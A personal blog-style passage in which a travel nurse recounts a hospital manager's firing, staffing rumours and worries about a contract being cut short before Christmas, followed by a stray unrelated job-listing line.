And.last week the manager who hired me was fired. I still don’t understand the mechanics of that, but it scares the hell out of me. When I first got here I heard rumors of some kind of screaming match between one of the nurses and the secretary who had been doing the schedule, resulting in a communique that all schedule requests and changes were to go through the manager or her superior, a person of whose existence I had been previously unaware. A week or so later, I heard that the manager had resigned. The word was that she was going to cath lab at another hospital in the system. Thursday she stopped by the unit to let the day shift know she’d been fired.from cath lab, from the whole hospital, and apparently from the whole system. Nobody really knows what happened, but apparently there’s going to be some serious uproar in HR.

This morning our secretary was talking about some changes being made. She mentioned that probably most of the travelers would not be extended, but that didn’t particularly bother me, as I have NO intention of extending my contract. Neither do two of the other three who started when I did, and the other traveler, who’s been there for almost a year, had spoken of moving on. My concern is more in terms of my contract being canceled before it’s over. I can deal with that, I guess, if it happens after Christmas, but I need the money up until then.

I’m starting to think about looking for a permanent job.

Chair in Evolutionary and Population Biology Research Department of Genetics Evolution and Environment - University College London / Date of entry: 30/06/10

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